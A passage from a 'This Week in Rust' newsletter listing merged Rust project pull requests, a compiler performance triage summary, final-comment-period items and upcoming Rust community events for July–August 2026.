<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
